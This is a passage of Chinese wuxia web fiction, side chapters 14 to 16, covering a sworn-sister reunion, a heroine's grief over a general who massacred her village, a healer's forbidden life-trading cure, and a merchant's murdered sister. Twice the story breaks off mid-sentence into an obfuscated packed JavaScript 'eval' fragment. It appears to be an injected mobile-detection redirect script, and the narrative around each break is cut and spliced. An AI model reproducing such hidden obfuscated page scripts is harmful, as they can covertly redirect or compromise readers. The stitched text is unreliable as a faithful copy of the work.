师父的匣子,那本册子,那些名字和事。 那些人想要的东西。 她说了。 她什么都说了。 所以她活着。 因为那些人从她嘴里得到了想要的东西,所以留了她一条命。 她活着。 可师父死了。 师姐死了。 小师妹死了。 都死了。 只有她活着。 因为她喝醉了。 因为她说了不该说的话。 从那以后,她把那半块玉佩雕成了一只酒壶塞。 梅花形状的,五瓣。 每醉一次,就在上面刻一道痕。 刻了多少道,她记不清了。 只记得刻完一道,就喝一碗。 喝到醉,醉到忘。 可忘不掉。 怎么也忘不掉。 “老板娘?” 门外传来声音,把她从回忆里拉出来。 沈醉眨了眨眼,发现自己脸上凉凉的。 她抬手一抹,是泪。 “进来。”她说。 门开了,进来的是李三娘。 “老板娘,”李三娘说,“花姑娘来了,说有急事。” 沈醉愣了一下。 花解语? 这么晚了,她来干什么? “让她进来。”她说。 李三娘出去,很快带着花解语进来。 花解语穿着一身黑衣,脸色有些白。她走进来,看见沈醉手里的酒壶塞,愣了一下。 沈醉没注意到她的眼神,把酒壶塞收进怀里。 “花姑娘,”她说,“这么晚了,出什么事了?” 花解语没有说话。 她只是看着沈醉的胸口。 看着那个藏着酒壶塞的地方。 沈醉察觉到她的异样。 “怎么了?”她问。 花解语抬起头,看着她。 “沈老板,”她说,“你那酒壶塞,能给我看看吗?” 沈醉的眼神一凝。 “为什么?” 花解语沉默了一会儿。 然后她从怀里摸出一样东西。 半块玉佩。 青白色的,雕着一朵梅花。 和沈醉的那块,一模一样。 沈醉愣住了。 她看着那半块玉佩,看了很久。 然后她慢慢从怀里摸出自己的那块。 两块玉佩,并排放在桌上。 缺口严丝合缝。 是一对。 沈醉抬起头,看着花解语。 花解语也看着她。 两个人就这么对视着。 过了很久,沈醉开口了。 “你从哪儿得来的?” 花解语说:“我娘留给我的。” 沈醉问:“你娘是谁?” 花解语说:“我娘叫花月容。前朝女官,因传密信被杀。” 沈醉的手微微颤抖。 花月容。 这个名字她听过。 师父说起过。 师父说,花月容是她最好的姐妹。她们一起闯荡江湖,一起收集那些官员的阴私,一起把那些消息传出去。后来花月容进了宫,当了女官,她们就很少见面了。 师父说,月容啊,是个好人。可惜命不好。 沈醉看着花解语。 看着那张脸。 那张脸,她以前没注意过。可现在仔细看,那眉眼,那神态,和师父说的那个人,一模一样。 “你娘……”她慢慢说,“和我师父,是什么关系?” 花解语说:“姐妹。最好的姐妹。” 沈醉沉默了很久。 然后她忽然笑了。 笑得很苦。 “所以,”她说,“咱们是……” 花解语接过话头。 “师姐妹。” 两个字,像两块石头,砸在沈醉心上。 师姐妹。 她以为师父死了,师姐死了,小师妹死了,这世上再也没有师门的人了。 可眼前这个弹琴的女人,是她师妹。 是她师父最好姐妹的女儿。 是她在这世上,唯一的亲人。 沈醉看着她,眼眶红了。 花解语也红了眼眶。 两个人站着,看着彼此。 谁也没有说话。 过了很久,沈醉忽然伸手,把桌上那两块玉佩拿起来。 一块递给花解语。 一块自己握着。 “你娘,”她说,“是怎么死的?” 花解语说:“传密信,被人发现。赐死。” 沈醉问:“你那时候多大?” 花解语说:“五岁。” 沈醉闭上眼睛。 五岁。 她十五岁的时候,师门被灭。 花解语五岁的时候,娘死了。 都是因为那些事。 都是因为那些该死的人。 她睁开眼睛,看着花解语。 “你恨吗?” 花解语说:“恨。” 沈醉问:“恨谁?” 花解语说:“恨这世道。” 沈醉点点头。 “我也是。” 两个人又沉默了。 窗外的风呜呜地吹。 灯花爆了一声,又爆了一声。 花解语忽然开口。 “沈老板,”她说,“我娘死之前,跟我说过一句话。” 沈醉问:“什么话?” 花解语说:“她说,解语,你记住,这世上还有一个人,是你师伯。她手里有半块玉佩,和我这块是一对。如果有一天你见到她,替我告诉她——我对不起她。” 沈醉愣住了。 对不起她? 为什么对不起? 花解语说:“我娘说,当年那本册子,是她让师伯藏的。因为那些人追得太紧,她怕自己活不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“再说了,”她笑了,“你刚才不是说了吗?咱们是师姐妹。师姐妹,还计较这些?” 花解语看着她,眼眶红了。 沈醉拍拍她的肩。 “别哭,”她说,“喝酒。” 她走到桌边,拎起另一坛酒,打开。 倒了两碗。 一碗递给花解语。 一碗自己端着。 “来,”她说,“师姐妹,干一碗。” 花解语接过碗,看着她。 “沈老板……” “叫师姐。” 花解语愣了一下,然后笑了。 “师姐。” 两只碗碰在一起。 “叮——” 清脆的一声。 沈醉仰头,把酒喝了。 花解语也喝了。 喝完,两个人看着彼此,忽然都笑了。 笑着笑着,沈醉忽然说:“你娘的玉佩,给我看看。” 花解语把那半块玉佩递给她。 沈醉把自己那块也拿出来。 两块玉佩并在一起,严丝合缝。 一朵完整的梅花。 五瓣。 沈醉看着那朵梅花,忽然想起师父说过的话。 师父说,梅花开在冬天,最冷的时候开得最好。 她那时候不懂。 现在懂了。 因为她们,就是开在冬天里的梅花。 最冷的时候,开得最好。 她把两块玉佩还给花解语一块。 “收好了,”她说,“这是咱们的凭证。” 花解语点点头,把玉佩收进怀里。 沈醉走到窗边,推开窗。 夜风吹进来,凉丝丝的。 她看着外面的夜色,忽然说:“花解语,你说,我师父和你娘,现在在哪儿?” 花解语走到她身边。 “不知道。”她说,“可能在喝酒吧。” 沈醉笑了。 “对,”她说,“可能在喝酒。” 两个人站在窗边,看着外面的夜。 夜很黑,很冷。 可她们心里,有一朵梅花。 开着的。 三月的风,还带着寒意。 可春天,已经来了。 远处传来鸡鸣。 天快亮了。 沈醉忽然说:“花解语,你那玉佩上,有刻痕吗?” 花解语摇摇头。 “没有。我娘死的时候,我才五岁。她没来得及教我。” 沈醉点点头。 她从怀里摸出自己的那块,给花解语看。 那上面,有五道细细的痕。 “这是什么?”花解语问。 沈醉说:“醉的次数。” 花解语愣了一下。 沈醉说:“每醉一次,刻一道痕。刻了十年,才刻了五道。” 花解语问:“为什么这么少?” 沈醉说:“因为不敢多醉。怕醉了,就醒不过来了。” 花解语沉默了。 沈醉看着她,忽然把那块玉佩塞进她手里。 “给你。”她说。 花解语愣住了。 “师姐,这……” 沈醉说:“你替我保管。等我死了,你再刻一道。” 花解语握紧那块玉佩,眼眶又红了。 “你不会死的。”她说。 沈醉笑了。 “谁知道呢?”她说,“反正我这条命,早就该死了。能活到现在,赚了。” 花解语看着她,忽然说:“师姐,以后我陪你喝酒。” 沈醉愣了一下。 然后笑了。 “行,”她说,“一起醉,一起醒。” 窗外,天边露出一线灰白。 天亮了。 新的一天,来了。 两个女人站在窗前,看着那一点点亮起来的天。 手里握着同一朵梅花。 心里藏着同一个人。 师父。 还有娘。 14. 谢霜寒的屠村真相[番外] 番外谢霜寒的屠村真相 承安十一年,三月十八。 雁门关外的风,还是那么冷。 谢霜寒站在一座荒丘上,看着远处那个早已荒废的村子。 二十三年了。 村子还在,可没有人了。断壁残垣上长满了枯草,风一吹,沙沙响。那些她曾经跑过的巷子,那些她曾经躲过的大树,那些她曾经摸过鱼的河沟,都被野草和尘土淹没了。 她站在那里,站了很久。 阿蘅站在她身后,不敢说话。 从京城回来后,阁主就不太对劲。话更少了,脸色更冷了,有时候一站就是一整天,看着远处发呆。 阿蘅不知道发生了什么。只知道那天晚上,阁主从风月楼回来之后,就一直这样。 “阁主,”阿蘅小心翼翼地说,“天快黑了,回去吧。” 谢霜寒没有动。 阿蘅不敢再催。 太阳慢慢落下去,天边烧起一片红霞。 红得像血。 谢霜寒忽然开口了。 “阿蘅,”她说,“你知道这里是什么地方吗?” 阿蘅摇摇头。 谢霜寒说:“是我老家。” 阿蘅愣住了。 谢霜寒继续说:“我六岁那年,北狄人来了。他们把村子里的男人都杀了,把女人都糟蹋了,把小孩都挑在枪尖上。” 她的声音很平静,平静得像在说别人的事。 “我娘把我藏在地窖里,自己去引开他们。” 阿蘅的眼眶红了。 谢霜寒说:“我在地窖里,听见她跟那些北狄人说话。” 阿蘅问:“说什么?” 谢霜寒沉默了一会儿。 然后她说:“她说,我女儿,不能学我软弱。” 阿蘅的眼泪掉下来。 谢霜寒却笑了。 笑得很冷。 “可她不知道,”她说,“她女儿最后还是学了她。” 阿蘅不明白。 谢霜寒没有解释。 她只是看着那个荒废的村子,看着那些被野草覆盖的断壁残垣。 她想起那天在地窖里听见的话。 那天,她躲在地窖里,透过木板的缝隙,看见她娘被那些北狄人围住。 她娘没有跑,没有喊,只是站在那里,看着那些北狄人。 一个穿盔甲的北狄将军走过来,站在她娘面前。 “这村子的男人都死光了,”那将军说,“你是最后一个。” 她娘没有说话。 那将军说:“我听说你有个女儿。她在哪儿?” 她娘说:“不知道。” 那将军笑了。 “不知道?你是她娘,你不知道?” 她娘不说话。 那将军拔出刀,架在她娘脖子上。 “说。说了,我饶你一命。” 她娘看着那把刀,忽然笑了。 “饶我一命?”她说,“我这条命,早就不要了。” 那将军愣了一下。 她娘继续说:“我活了二十多年,软了二十多年。怕这个,怕那个,怕活不下去。可我现在不怕了。” 她抬起头,看着那个将军。 “我女儿,”她说,“不能学我软弱。” 那将军的脸色变了。 刀光一闪。 她娘倒下去。 谢霜寒在地窖里,死死捂住自己的嘴,不让自己发出声音。 眼泪流了满脸。 可她不敢动。 一动都不敢动。 因为她娘说,不能学她软弱。 她娘用命换她活着。 她得活着。 后来那些北狄人走了。她从地窖里爬出来,爬到她娘身边。 她娘躺在地上,眼睛还睁着。 看着天。 谢霜寒跪下来,把她娘的眼睛合上。 然后她站起来,往山下走。 走到山脚,她看见那个北狄将军。 他骑在马上,正要离开。 她躲在树后,看着他的脸。 那张脸,她记了一辈子。 后来她学会了杀人。 杀了很多人。 可那个将军,她一直没找到。 直到前几天。 那天在风月楼,谢知微带来了一份密报。 密报上说,当年屠她村子的那个北狄将军,叫忽鲁。 就是那个在鹰愁涧被她砍下马、却又被谢知微下令放走的忽鲁。 谢霜寒看到那份密报的时候,手都在抖。 她去找谢知微。 谢知微说,放走忽鲁,是为了更大的事。 什么事? 谢知微没说。 可谢霜寒后来打听到了。 谢知微想推动女子科举。朝中反对的人太多,她需要边关将领的支持。而那个边关将领,和忽鲁有私下的交易。放了忽鲁,就能换来那个将领的支持。 一命换一命。 那个北狄将军的命,换女子科举的命。 谢霜寒听完,沉默了很久。 然后她来找谢知微了。 三月十九,辰时。 京城,甜水巷,云娘的绣坊。 谢知微坐在屋里,和云娘说话。 门忽然被推开了。 谢霜寒站在门口,浑身冒着寒气。 云娘“看”向她,虽然看不见,但能感觉到那股冷意。 “谢阁主?”她说,“出什么事了?” 谢霜寒没有回答。 她只是看着谢知微。 “谢相,”她说,“我有话问你。” 谢知微看着她,点了点头。 “云娘,我出去一下。” 云娘点点头。 谢知微站起来,跟着谢霜寒走出绣坊。 走到巷子里,谢霜寒停下来。 谢知微站在她身后。 谢霜寒转过身,看着她。 “谢相,”她说,“忽鲁的事,我知道了。” 谢知微的眼神微微一凝。 谢霜寒说:“当年屠我村子的人,就是他。” 谢知微沉默了一会儿。 “我知道。”她说。 谢霜寒的眼神一冷。 “你知道?” 谢知微点点头。 “我查过。当年屠你村子的人,就是忽鲁。你娘死在他手里。” 谢霜寒的手按在剑柄上。 “那你为什么放他走?” 谢知微看着她,没有说话。 谢霜寒说:“我追了他二十年。二十年!我杀了他那么多手下,就是为了有一天,亲手把他砍了。可你——你让我放他走!” 谢知微还是不说话。 谢霜寒往前走了一步。 “谢知微,”她说,“你的大义,要拿妇孺的血来换?” 这句话像刀子一样,扎进谢知微心里。 谢知微的脸色白了一瞬。 可她没有退。 她只是看着谢霜寒,一字一字说: “是。” 谢霜寒愣住了。 谢知微说:“我拿妇孺的血,换更多妇孺的命。这笔账,我算过。” 谢霜寒的手握紧剑柄。 “你算过?”她说,“你拿什么算?那些死的人,你问过她们愿意吗?” 谢知微说:“我问不了。她们已经死了。” 谢霜寒的眼睛里全是怒火。 “那你凭什么替她们做决定?” 谢知微说:“因为我是活着的那个。活着的,就得替死了的做决定。” 谢霜寒盯着她。 盯了很久。 然后她忽然笑了。 笑得很冷。 “谢知微,”她说,“你知道我娘临死前说了什么吗?” 谢知微看着她。 谢霜寒说:“她说,我女儿,不能学我软弱。” 她的声音在发抖。 “她用自己的命,换我活着。她希望我比她强,希望我不用像她一样软弱,希望我能保护自己,保护想保护的人。” 她往前走了一步。 “可我呢?我活了二十三年,杀了那么多人,到头来,连杀我娘的仇人都不能亲手杀。我还得看着他活着,看着他在北狄继续当他的将军,继续屠别人的村子,继续杀别人的娘!” 她的眼眶红了。 可她没让眼泪掉下来。 “谢知微,”她说,“你告诉我,我这样活着,对得起我娘吗?” 谢知微看着她。 看着那个冷得像冰的女人,眼睛里终于有了裂缝。 她走过去,站在谢霜寒面前。 “谢阁主,”她说,“你听我说。” 谢霜寒看着她。 谢知微说:“我娘死的时候,我七岁。她因为提‘女子读书’被赐死。我跪在雪地里,看着她的血把雪染红。” 她的声音很平静。 “从那天起,我就知道,这世道不讲道理。讲道理的人,都死了。” 她顿了顿。 “所以我学会了不讲道理。学会了算计,学会了利用,学会了拿人命换人命。” 她看着谢霜寒。 “可我没有一天忘记,我娘是怎么死的。也没有一天忘记,那些死了的人,是谁害死的。” 谢霜寒看着她。 谢知微说:“放走忽鲁,是为了女子科举。有了女子科举,就会有更多女子读书,更多女子做官,更多女子掌权。等她们掌了权,就能改变这世道。等这世道变了,就不会再有第二个你,第二个我,第二个你娘,第二个我娘。” 她伸出手,按在谢霜寒握剑的手上。 “我知道你不甘心。我也不甘心。可我们得活着。活着,才能等到那一天。” 谢霜寒看着她,眼眶里的泪终于掉下来。 一滴。 只有一滴。 她抬手擦掉。 “谢知微,”她说,“你知道吗,我最恨的,就是你说得对。” 谢知微没有说话。 谢霜寒松开剑柄。 “可我还是恨。”她说,“恨那个忽鲁,恨这世道,也恨你。” 谢知微点点头。 “恨吧。”她说,“恨着,才能活下去。” 两个人站在巷子里,谁也没有说话。 风吹过来,卷起地上的尘土。 远处传来叫卖声,熙熙攘攘的,和她们隔成两个世界。 过了很久,谢霜寒开口了。 “谢知微,”她说,“你答应我一件事。” 谢知微说:“你说。” 谢霜寒说:“等女子科举成了,等这世道变了,你得帮我把忽鲁找出来。亲手杀他。” 谢知微看着她。 “好。”她说,“我答应你。” 谢霜寒点点头。 转身要走。 走出几步,忽然停下来。 “谢知微,”她头也不回地说,“这次,我还信你。” 然后她走了。 谢知微站在原地,看着她的背影消失在巷子口。 风吹过来,凉丝丝的。 她忽然觉得累。 很累。 她靠着墙,闭上眼睛。 眼前浮现出那些脸。 她娘的脸,谢霜寒娘的脸,还有那些死在边关的妇孺的脸。 一张一张,像走马灯一样转。 她想起刚才谢霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿蘅愣住了。 “阁主,为什么?” 谢霜寒看着她。 “因为,”她说,“我还没杀够。” 三月二十一。 风月楼。 沈醉和花解语坐在一起喝酒。 喝着喝着,花解语忽然问:“师姐,谢阁主的事,你听说了吗?” 沈醉点点头。 花解语说:“她心里苦。” 沈醉说:“谁心里不苦?” 花解语看着她。 沈醉说:“可苦有什么用?苦,敌人就不杀你了?苦,这世道就变了?” 她把酒碗往桌上一顿。 “苦,也得活着。活着,才能报仇。” 花解语点点头。 “师姐说得对。” 沈醉看着她,忽然笑了。 “叫师姐叫得挺顺嘴啊?” 花解语也笑了。 “那是。师姐嘛,不叫白不叫。” 两个人碰了一下碗。 窗外,月亮升起来。 很圆,很亮。 三月二十二。 皇宫,乾元殿。 皇帝坐在龙椅上,看着面前的密报。 密报上说,谢霜寒回边关了。谢知微还在京城,每天去风月楼,和那几个女人混在一起。 他把密报放下。 “刘伴儿,”他说,“你说,朕是不是太仁慈了?” 刘公公小心翼翼地说:“陛下圣明。” 皇帝冷笑一声。 “圣明?朕要是圣明,早就把她们都砍了。” 他站起来,走到窗前。 窗外,月亮也很圆。 “可朕不能砍。”他说,“她们太得民心了。朕砍了她们,天下人都会骂朕。” 刘公公不敢说话。 皇帝沉默了一会儿。 然后他笑了。 “没关系,”他说,“朕有的是办法。” 三月二十三。 边关。 谢霜寒站在霜冷剑阁的院子里,看着远处的山。 山那边,是北狄。 山这边,是大燕。 她站在中间。 哪里都不是她的家。 她忽然想起谢知微说的那句话。 “活着,才能等到那一天。” 她不知道那一天什么时候来。 但她知道,她会等。 等着那一天。 等着亲手杀了那个人。 等着这世道变。 等着那些死了的人,能瞑目。 风吹过来,凉丝丝的。 她站在那里,站了很久。 直到天黑了,月亮升起来。 她才转身,走进屋里。 屋里,阿蘅已经睡着了。 她走过去,给她掖了掖被角。 然后坐在窗前,看着那月亮。 手里握着那块玉佩。 半块。 梅花形状的。 和她娘给她的那块,一模一样。 15. 白芷的医谷禁术[番外] 番外白芷的医谷禁术 承安十一年,三月二十五。 边关的风,还是那么冷。 可霜冷剑阁的屋子里,炭火烧得正旺。 谢霜寒躺在床上,脸色白得像纸。 她的胸口缠着厚厚的绷带,绷带已经被血浸透了,红得刺眼。 三天前,她独自潜入北狄境内,找到了忽鲁的营地。 她本想在暗中下手,一刀了结那个畜生。 可她没想到,忽鲁早有防备。 那是一场陷阱。 三十几个北狄高手围住她,车轮战,从傍晚打到深夜。她杀了二十三个,自己也中了三刀。 最后一刀,刺穿了她的左肺。 她拼死杀出重围,一路逃回大燕境内。 逃到霜冷剑阁门口,她就倒下了。 阿蘅吓坏了,一边哭一边给她止血,可止不住。 血一直在流。 流了一夜。 第二天一早,阿蘅让人送信给京城。 送信的人快马加鞭,一天一夜跑死了三匹马。 白芷接到信的时候,正在医谷给阿苓喂药。 她看了一眼信,脸色就变了。 “阿茴,”她说,“照顾好阿苓。我出去一趟。” 阿茴还没反应过来,她已经背着药箱冲了出去。 从京城到边关,骑马要三天。 白芷两天两夜没合眼,跑死了五匹马,终于在第三天的凌晨赶到了霜冷剑阁。 她冲进屋子的时候,谢霜寒已经昏迷了。 阿蘅跪在旁边,眼睛都哭肿了。 “白大夫!”阿蘅扑过来,“您快救救阁主!她快不行了!” 白芷没说话,直接走到床边。 她掀开绷带,看了一眼伤口。 然后她的心沉了下去。 伤口感染了。 北狄人的刀上淬了毒。那种毒她认识,叫“三日醉”。中了这种毒的人,会陷入昏迷,三天后呼吸衰竭而死。 谢霜寒已经昏迷两天了。 还剩一天。 白芷的手在发抖。 她这辈子救过很多人。中毒的,受伤的,快要死的。她都有办法。 可这一次,她没办法。 “三日醉”的解药,她配得出来。可那需要时间。至少七天。 谢霜寒只有一天。 一天,不够。 阿蘅看着她,眼睛里全是恐惧。 “白大夫,阁主她……她还有救吗?” 白芷没有说话。 她只是看着谢霜寒那张苍白的脸。 那张脸,她见过很多次。在风月楼,在鹰愁涧,在京城的大街小巷。每次都冷冷的,没什么表情。 可她知道,那张脸底下,藏着多少东西。 藏着恨,藏着痛,藏着不甘。 藏着那个屠村的仇人。 藏着那个还没亲手杀掉的忽鲁。 白芷闭上眼睛。 脑子里闪过很多画面。 她想起师父临终前说的话。 “芷儿,咱们医谷,有一门禁术。叫‘换命’。” “用自己的命,换别人的命。” “一命换一命,十年换十年。” “不到万不得已,不能用。” 她那时候问师父,什么是万不得已? 师父说,万不得已,就是那个人死了,你也不想活了。 她那时候不懂。 现在懂了。 她睁开眼,看着谢霜寒。 看着那张苍白的脸。 看着那个从死人堆里爬出来的女人。 看着那个和她一样,被这世道伤害过、却不肯认命的女人。 她忽然笑了。 笑得很轻。 “阿蘅,”她说,“你去外面等着。我不叫你,别进来。” 阿蘅愣了一下:“白大夫,您要……” 白芷说:“救人。” 阿蘅犹豫了一下,还是出去了。 门关上。 屋子里只剩下白芷和谢霜寒。 白芷打开药箱,从最底层拿出一个布包。 布包打开,里面是一套银针。 一共三十六根。 每一根都比寻常的针细,比寻常的针长。 这是师父留给她的。 师父说,这套针,只能用一次。 用一次,救一个人。 救的人活了,用针的人,折寿十年。 白芷把针一根一根摆好。 然后她坐下来,看着谢霜寒。 “谢阁主,”她轻声说,“你知道我要干什么吗?” 谢霜寒昏迷着,当然不会回答。 白芷继续说:“我要用十年命,换你活。” “你别怪我。我也没别的办法。” “你死了,阿蘅怎么办?你那些没杀完的仇人怎么办?那个忽鲁,谁来杀?” “我还指着你呢。指着你杀完那些人,指着你替我们这些人出气。” 她顿了顿。 “所以,你不能死。” 她拿起第一根针。 针尖在烛火下闪着寒光。 她深吸一口气,扎了下去。 第一针,天灵盖。 谢霜寒的身体抖了一下。 白芷的手很稳。 第二针,眉心。 第三针,咽喉。 第四针,心口。 每一针,都扎在要命的地方。 这是禁术。 用活人的元气,补死人的生气。 被救的人,身体里的毒会被逼出来。 施救的人,会损耗十年的寿命。 师父说,这是逆天而行。 逆天的人,没有好下场。 可白芷不在乎。 好下场? 她爹是好下场吗?她娘是好下场吗?她弟弟妹妹是好下场吗? 不是。 好下场的人,早就死了。 活着的,都是逆天的。 她继续扎。 第五针,第六针,第七针…… 扎到第十八针的时候,谢霜寒的眉头动了一下。 扎到第二十四针的时候,谢霜寒的嘴角流出一缕黑血。 扎到第三十二针的时候,谢霜寒睁开了眼睛。 她看着白芷,眼睛里全是茫然。 白芷的手没有停。 第三十三针,第三十四针,第三十五针…… 扎完最后一针,白芷整个人都软了。 她趴在床边,大口大口喘气。 汗水湿透了她的衣裳,像刚从水里捞出来一样。 谢霜寒看着她,声音沙哑得像破锣。 “白……白芷……” 白芷抬起头,看着她。 笑了。 “醒了?”她说,“醒了就好。” 谢霜寒想动,发现自己动不了。 她低头一看,自己身上扎满了针。 密密麻麻的,像只刺猬。 “你……你干什么了?” 白芷说:“救你。” 谢霜寒看着她,忽然发现她的脸色不对。 那张脸,比刚才白了很多。 白得像纸。 “你……”谢霜寒说,“你怎么了?” 白芷摇摇头。 “没事。”她说,“歇一会儿就好。” 她站起来,想收拾东西。 刚站起来,眼前一黑,整个人栽了下去。 谢霜寒想伸手扶她,可动不了。 只能眼睁睁看着她倒在地上。 “白芷!”她喊。 门被推开了。 阿蘅冲进来,看见倒在地上的白芷,吓得脸都白了。 “白大夫!白大夫!” 她扑过去,想把白芷扶起来。 白芷的眼睛闭着,脸色白得吓人。 阿蘅摸她的脉,还有。 可弱得像一根线。 “阁主!”阿蘅喊,“白大夫怎么了?” 谢霜寒躺在那儿,动不了,说不出话。 她只能看着。 看着那个救她的人,躺在地上,不知死活。 屋外,忽然传来马蹄声。 很多匹马。 阿蘅跑出去一看,脸色变了。 是苏锦。 苏锦带着十几个人,风尘仆仆地冲进院子。 她跳下马,冲进屋子。 看见倒在地上的白芷,她的脸色一下子变了。 “白芷!” 她扑过去,把白芷抱起来。 白芷的脸色白得像纸,嘴唇一点血色都没有。 苏锦摸她的脉,脉象弱得吓人。 “怎么回事?”她抬头问谢霜寒,“她怎么了?” 谢霜寒说不出话。 阿蘅在旁边哭着说:“白大夫给阁主治伤,治着治着就倒了……” 苏锦低头看着白芷,忽然发现她手边那个布包。 布包里,是一套银针。 三十六根。 她数了数。 扎在谢霜寒身上的,是三十六根。 一根不多,一根不少。 苏锦的脸一下子白了。 “换命……”她喃喃说,“你用了换命……” 谢霜寒听见了,愣了一下。 “什么换命?” 苏锦抬起头,看着她。 眼睛里全是泪。 “医谷的禁术,”她说,“用自己十年命,换别人一条命。” 谢霜寒愣住了。 她看着自己身上那些针,看着倒在地上的白芷。 那个平时话不多、总是冷着脸的女人。 那个背着药箱、走到哪儿都带着药香的女人。 那个在鹰愁涧放毒烟、救过她命的女人。 用十年命,换她活。 谢霜寒张了张嘴,想说什么。 可什么都说不出来。 苏锦抱着白芷,眼泪终于掉下来。 “蠢死了……”她哭着说,“你这个蠢死了的女人……十年命,你说换就换……你问过我们吗?你问过我吗?” 白芷昏迷着,当然不会回答。 苏锦抱着她,哭了很久。 然后她抬起头,看着谢霜寒。 “谢阁主,”她说,“你欠她一条命。” 谢霜寒点点头。 “我知道。”她说。 苏锦站起来,把白芷抱到床上。 然后她转过身,看着谢霜寒。 “她要是醒不过来,”她说,“我跟你没完。” 谢霜寒看着她,没有说话。 她只是看着白芷那张苍白的脸。 看着那个为了救她,折寿十年的女人。 三天后。 白芷醒了。 她睁开眼睛的时候,看见的是苏 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“年轻什么年轻?”她说,“你知不知道,十年命,可能就是你最后的十年。” 白芷沉默了一会儿。 然后她说:“知道。” 苏锦愣住了。 白芷说:“可我知道,她要是不救,我这一辈子都过不去。” 她看着苏锦。 “你不懂。她和我一样。都是从死人堆里爬出来的。都是被这世道害过的人。都是不甘心的人。” “她死了,我活着,还有什么意思?” 苏锦看着她,说不出话来。 白芷握着她的手。 “苏锦,”她说,“我知道你担心我。可有些事,比命重要。” 苏锦沉默了很久。 然后她低下头,把脸埋在白芷手心里。 “蠢死了……”她闷闷地说,“你这个蠢女人……” 白芷笑了。 轻轻摸着她的头发。 门外,谢霜寒站在那里。 她听见了她们的对话。 站了很久。 然后她转身,走了。 那天晚上,谢霜寒一个人坐在院子里。 月亮很圆,很亮。 她看着那月亮,想起白芷那句话。 “她死了,我活着,还有什么意思?” 她想起很多人。 她娘,师父,阿蘅,还有那六个女人。 她们都是一样的。 都是不甘心的人。 都是愿意为彼此拼命的人。 她忽然明白了一件事。 活着,不是为了报仇。 活着,是为了和这些人一起,活下去。 她站起来,走进屋里。 白芷已经睡了。 苏锦守在床边,握着她的手。 谢霜寒走过去,站在床边。 低头看着白芷。 看了很久。 然后她轻声说了一句话。 “白芷,我欠你一条命。这辈子,还你。” 她转身,走出屋子。 月光照在她身上,凉丝丝的。 可她的心里,是热的。 三月的最后一天。 白芷能下床了。 她走出屋子,看见谢霜寒在院子里练剑。 剑光闪闪,像一条银龙。 她站在那里,看着。 谢霜寒练完一套剑,收剑,走过来。 两个人对视着。 谁也没有说话。 过了很久,谢霜寒开口了。 “白芷,”她说,“谢谢。” 白芷笑了。 “谢什么?”她说,“咱们不是一条船上的吗?” 谢霜寒看着她,难得地露出一点笑。 “对,”她说,“一条船上的。” 苏锦从屋里探出头来。 “你们两个,在外面站着干什么?进来吃饭!” 白芷和谢霜寒对视一眼,笑了。 一起走进去。 屋里,阿蘅已经把饭摆好了。 热气腾腾的,香气扑鼻。 四个人坐下,吃饭。 吃着吃着,苏锦忽然说:“白芷,你那十年命,我记住了。” 白芷愣了一下。 苏锦说:“以后我给你补。补什么?补好吃的,好喝的,好玩儿的。让你这十年,过得比别人一百年都值。” 白芷看着她,眼眶红了。 可她没让眼泪掉下来。 只是点点头。 “好。”她说。 谢霜寒在旁边,忽然说:“我也补。” 白芷看向她。 谢霜寒说:“谁欺负你,我杀谁。” 白芷笑了。 “行,”她说,“你们两个,一个给吃的,一个给杀人。我这十年,值了。” 阿蘅在旁边,怯怯地说:“白大夫,我也补。我给您捶背。” 几个人都笑了。 笑声在屋子里回荡,飘出窗外,飘到月光里。 远处的风,还是那么冷。 可这间屋子里,是暖的! 16. 苏锦的妹妹之死[番外] 番外苏锦的妹妹之死 承安十一年,四月初五。 扬州城的春天,来得比京城早。 桃花开了,杏花开了,柳树抽了新芽,绿油油的一片。街上的人也多起来,踏青的,赶集的,走亲戚的,热热闹闹。 可苏锦的苏府里,冷得像冬天。 苏锦坐在账房里,已经坐了一整天。 从早上坐到傍晚,一动不动。 案上堆着账本,是去年各处进项的汇总。绸缎庄、钱庄、当铺、米行,还有那些放贷的账目。每本都对过了,分毫不差。 可她一个字都没看进去。 她只是坐着。 手里握着一样东西。 一支银簪。 很旧的银簪,簪头是一朵小小的梅花,花瓣都有些磨平了。簪身弯弯曲曲的,一看就是手工打的,不太规整。 那是她妹妹的遗物。 她妹妹叫苏绣。 七岁那年,爹欠了赌债,把她们姐妹俩卖了。 她被卖到当铺当学徒,苏绣被卖进青楼。 那时候她十岁,苏绣七岁。 她被带走的时候,苏绣哭得撕心裂肺,抓着她的手不放。 “姐姐!姐姐!我不要去!我怕!” 她蹲下来,抱着妹妹,在她耳边说:“绣儿不怕,姐姐会来救你的。等姐姐攒够了钱,就来赎你。” 苏绣哭着点头。 那是她最后一次见妹妹。 五年后,她攒够了钱,去青楼赎人。 老鸨说,你妹妹啊?死了。来了第二年就死了。怎么死的?病死的。这种地方,病死个丫头算什么? 她站在青楼门口,站了很久。 然后她回去,继续干活。 从那天起,她就知道,这世上没有公道。 公道,得自己挣。 后来她查清楚了。 她妹妹不是病死的。 是被折磨死的。 那个青楼的老鸨,有一个相好的客人,是个官。那官看上了她妹妹,要她陪夜。她妹妹才八岁,不肯。那官就打她,打完还要。打了三天,她妹妹就死了。 那个官,叫张有德。是扬州府的师爷。 苏锦知道这个名字的时候,手都在抖。 可她没有哭。 她只是记住了这个名字。 又过了五年,她成了江南首富。 那个张有德,早就不是师爷了。他攀上了更高的人,当了知府,又当了按察使,现在在京城的刑部当郎中。 官越做越大。 可苏锦的账本上,一直记着他的名字。 他借过她的钱。很多钱。 利滚利,滚了十几年,够他死十次了。 可她一直没有动他。 因为他在等。 等他爬得更高。 等他欠得更多。 等他死得更惨。 可今天,她不想等了。 她看着手里那支银簪,看了很久。 那是她娘留给她们的。一人一支。她的是金的,妹妹的是银的。她娘说,金子硬,银子的软,你们姐妹俩,一个硬一个软,正好。 她娘死了,她硬了,妹妹软了。 软的,被人捏死了。 苏锦把银簪攥在手心里,攥得指节发白。 然后她站起来,走出去。 “阿福,”她说,“备车,去京城。” 四月初七,酉时。 京城,甜水巷。 